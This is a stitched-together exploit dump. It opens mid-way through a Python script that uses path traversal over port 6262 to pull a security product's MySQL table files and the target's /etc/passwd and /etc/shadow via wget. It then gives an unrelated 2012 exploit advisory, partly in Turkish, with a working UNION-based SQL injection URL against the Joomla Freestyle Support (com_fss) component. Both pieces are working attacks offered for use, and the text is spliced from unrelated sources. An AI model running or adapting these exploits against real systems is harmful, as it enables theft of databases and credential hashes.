‘ACTemplateHandler.frm’, ‘InventoryService.frm’, ‘StatusUpdateCriteria.frm’, ‘SelectColumn.frm’, ‘CVEDetail.frm’, ‘RemReportConf.frm’, ‘Parent_Class_Expr.frm’, ‘Relvars_To_Tables.frm’, ‘DeviceToGroup.frm’, ‘SoftwareList.frm’, ‘ProxyConfiguration.frm’, ‘Boolean_Expressions.frm’, ‘PatchSeverityImage.frm’, ‘DeviceGroupTaskInput.frm’, ‘ApplicationVulnerability.frm’, ‘MSPMInstallSequence.frm’, ‘SQinTreeQuery.frm’, ‘PMAlternateLocation.frm’, ‘MSFileChange.frm’, ‘Quantifier_Operator.frm’, ‘Time_Variables.frm’, ‘AlarmStateHolder.frm’, ‘WMITestCaseExpression.frm’, ‘DiscoveryJobs.frm’, ‘AaaOrgContactUser.frm’, ‘Udef_Char_Cls_Const.frm’, ‘ResourceDisplayMapper.frm’, ‘AddressGroupResources.frm’, ‘Task_Templates.frm’, ‘Time_DataObj_Vars.frm’, ‘MSProduct.frm’, ‘Integral_Expressions.frm’, ‘ACFtpDetails.frm’, ‘PackageStoreLocation.frm’, ‘ThemeAttributesMapping.frm’, ‘Out_Template_Vars.frm’, ‘RegkeyCheckDetail.frm’, ‘ACInstantFeedBack.frm’, ‘Integral_DataObj_Vars.frm’, ‘Composite.frm’, ‘AaaOrgContactInfo.frm’, ‘Statements.frm’, ‘MenuItem.frm’, ‘Num_Expr_Opr_Expr.frm’, ‘PMPatchLocationExtn.frm’, ‘Bool_Exists_Var.frm’, ‘ServicePackStoreLocation.frm’, ‘DeviceToPackageStatus.frm’, ‘ACMailConfig.frm’, ‘ScanTicNotification.frm’, ‘Bool_Neg_Expr.frm’, ‘MSMapping.frm’, ‘ReportRiskFilter.frm’, ‘TCServiceDependency.frm’, ‘Decimal_Template_Vars.frm’, ‘Attachment.frm’, ‘PMRegkeyCheckDetail.frm’, ‘AaaImpliedTableColumn.frm’, ‘TreeIdentifierColumns.frm’, ‘PatchStoreConfiguration.frm’, ‘ScanPortGroup.frm’, ‘NVaxApplication.frm’, ‘Bean.frm’, ‘Trans_Closure_Weights.frm’, ‘PMFileCheckDetail.frm’, ‘JoinColumns.frm’, ‘Iterat_Task_Template.frm’, ‘Discovery.frm’, ‘RangeValues.frm’, ‘OperatingSystem.frm’, ‘Email_Attachments.frm’, ‘Service.frm’, ‘DBAdapter.frm’, ‘PMProductFamily.frm’, ‘NotificationCriteria.frm’, ‘Pattern_To_Char_Expr.frm’, ‘AaaGenderHonorific.frm’, ‘Action.frm’, ‘ACRelationalCriteria.frm’, ‘PgSQLErrorCode.frm’, ‘PMPatchLocation.frm’, ‘Custom_Bool_Expr.frm’, ‘AaaTableAccessSPI.frm’, ‘AaaImpliedPermission.frm’, ‘Resources.frm’, ‘Patch.frm’, ‘MultiMediaInfo.frm’, ‘MSSupercededBy.frm’, ‘TableTemplateFiles.frm’, ‘SNMPCommunity.frm’, ‘PrinterInfo.frm’, ‘OSDisplayDetails.frm’, ‘UVHValues.frm’, ‘PatchGroupToAddressGroupMap.frm’, ‘TCsAfterPatchDetection.frm’, ‘Boolean_Reg_Expr.frm’, ‘Task_Instances.frm’, ‘DeviceProtocol.frm’, ‘AaaUserProfile.frm’, ‘ScanCompNotification.frm’, ‘Bool_Const_Comp_Str.frm’, ‘ServiceProperties.frm’, ‘TreeDefinition.frm’, ‘Bool_Set_Comp_Var.frm’, ‘Int_Expr_Opr_Expr.frm’, ‘TiledView.frm’, ‘Quantifier.frm’, ‘ResourceCompNotification.frm’, ‘TemplateViewParams.frm’, ‘ScanPMTaskMapper.frm’, ‘AaaRoleToCategory.frm’, ‘MsSQLErrorCode.frm’, ‘WMITestCaseCommands.frm’, ‘FalsePositiveVulns.frm’, ‘MSQNumber.frm’, ‘DiscoveryToResourceMapping.frm’, ‘AaaAccountStatus.frm’, ‘Time_Agg_Vars.frm’, ‘ACCVTabParentConfig.frm’, ‘AaaPasswordProfile.frm’, ‘ReportCategoryFilter.frm’, ‘Quantifier_Range.frm’, ‘AaaUserPostalAddr.frm’, ‘CustomHandler.frm’, ‘FileBaseline.frm’, ‘AuditConfig.frm’, ‘ResourceVulnerabilityDetails.frm’, ‘AaaAccAdminProfile.frm’, ‘PMSPLocation.frm’, ‘Trans_Closure_Operator.frm’, ‘ResourceTicNotification.frm’, ‘Bool_Str_Comp_Const.frm’, ‘Bool_Expr_With_Terms.frm’, ‘Java_Api.frm’, ‘SortColumn.frm’, ‘AaaTrustedRole.frm’, ‘C_Task_Apis.frm’, ‘PatchToGroup.frm’, ‘ScanStatus.frm’, ‘Calendar_Periodicity.frm’, ‘PhysicalDriveInfo.frm’, ‘AaaAccUserProfile.frm’, ‘ACGroupByColumns.frm’, ‘SoundCardInfo.frm’, ‘AuditConfigProperty.frm’, ‘ReportSeverityFilter.frm’, ‘ScanJobResources.frm’, ‘Str_Expr_Opr_Const.frm’, ‘Views.frm’, ‘ACUserPreference.frm’, ‘Trans_Closure_Weight_Expr.frm’, ‘PackageList.frm’, ‘I18nCurrUserLocale.frm’, ‘AaaPasswordStatus.frm’, ‘UpdateDeleteRows.frm’, ‘Calendar.frm’, ‘AaaSimplePermission.frm’, ‘CrackedSNMPCommunity.frm’, ‘DataObj_Var_Columns.frm’, ‘MSSeverity.frm’, ‘ACRendererConfiguration.frm’, ‘ACTableColumns.frm’, ‘PortInfo.frm’, ‘ExeReportConf.frm’, ‘Class_Expr_Opr_Expr.frm’, ‘Concat_Task_List.frm’, ‘AaaImpliedRole.frm’, ‘Expressions_PIDX.frm’, ‘RiskFactor.frm’, ‘ResourceCred.frm’, ‘TestCaseHTTPDir.frm’, ‘CustomViewConfiguration.frm’, ‘CredentialDescription.frm’, ‘RemoteTCExpression.frm’, ‘RepairReport.frm’, ‘Bool_Expr_Comp_Expr.frm’, ‘PatchTaskInput.frm’, ‘MSSupercededPatch.frm’, ‘ACClientEncProps.frm’, ‘I18nLocale.frm’, ‘ConfFileToModule.frm’, ‘Decimal_Expressions.frm’, ‘Print_Task_Expr.frm’, ‘Workflow_Unit.frm’, ‘ResourceApplication.frm’, ‘Email_Task.frm’, ‘VulnerabilityScan.frm’, ‘ACGridLayoutConfig.frm’, ‘AaaPassword.frm’, ‘AaaRoleOwner.frm’, ‘ACPSConfigList.frm’, ‘Del_Row_Task_Template.frm’, ‘AaaUser.frm’, ‘RebootPolicy.frm’, ‘TreeQueryIdentifierColumns.frm’, ‘WindowsServices.frm’, ‘ACFilter.frm’, ‘PatchStoreAuditInfo.frm’, ‘SB_Applications.frm’, ‘OperationType.frm’, ‘LatestResourceScanStatus.frm’, ‘MSPMFileChange.frm’, ‘LatestAGScans.frm’, ‘RegistryBaseline.frm’, ‘BookMark.frm’, ‘TmpViewColumn.frm’, ‘Char_Class_Expr.frm’, ‘WorkFlow_Type.frm’, ‘ScanVulnerabilityDetails.frm’, ‘ScanHosts.frm’]

for blah in dbFiles:
        print "[*] Downloading file: " + blah
        os.system("wget -q http://%s:6262/store?f=../mysql/data/securitymanager/%s -O %s" % (rhost, blah, blah))

os.system("wget http://%s:6262/store?f=../../../../../etc/passwd -O passwd" % rhost)
os.system("wget http://%s:6262/store?f=../../../../../etc/shadow -O shadow" % rhost)

Joomla Freestyle Support 1.9.1.1447 (com_fss) SQL Injection

Joomla Freestyle Support 1.9.1.1447 (com_fss) eklentisinde sql injection açığı tespit edildi.
Açığın oluşum yeri hakkında açıklama aşağıdadır. Açık sayesinde tablolara ulaşılabilmekte, hashlar çekilebilmekte.

 Exploit Title: Joomla Freestyle Support com_fss sqli

 Dork: N/A
 
 Date: [17-10-2012]
 
 Author: Daniel Barragan "D4NB4R"
 
 Twitter: 
 
 Vendor: http://freestyle-joomla.com
 
 Version: Version 1.9.1.1447 (last update on Oct 15, 2012)
 
 License: Commercial

 Download: http://freestyle-joomla.com/fssdownloads
  
 Tested on: [Linux(bt5)-Windows(7ultimate)]

 Especial greetz:  Pilot, _84kur10_, nav, dedalo, devboot, ksha, shine, p0fk, the_s41nt


Descripcion joomla component: 

Advanced ticketed support/help desk on your website. Includes Knowledge Base, FAQs, Announcements, Glossary, Tickets by Email, Testimonials and many other features. Robust, customizable, professional, affordable and easy to use.

Warning: Invalid argument supplied for foreach() in 


Exploit: 
    

    SQL : SQL injection

           http://127.0.0.1/index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R
    
  
_____________________________________________________
Daniel Barragan "D4NB4R" 2012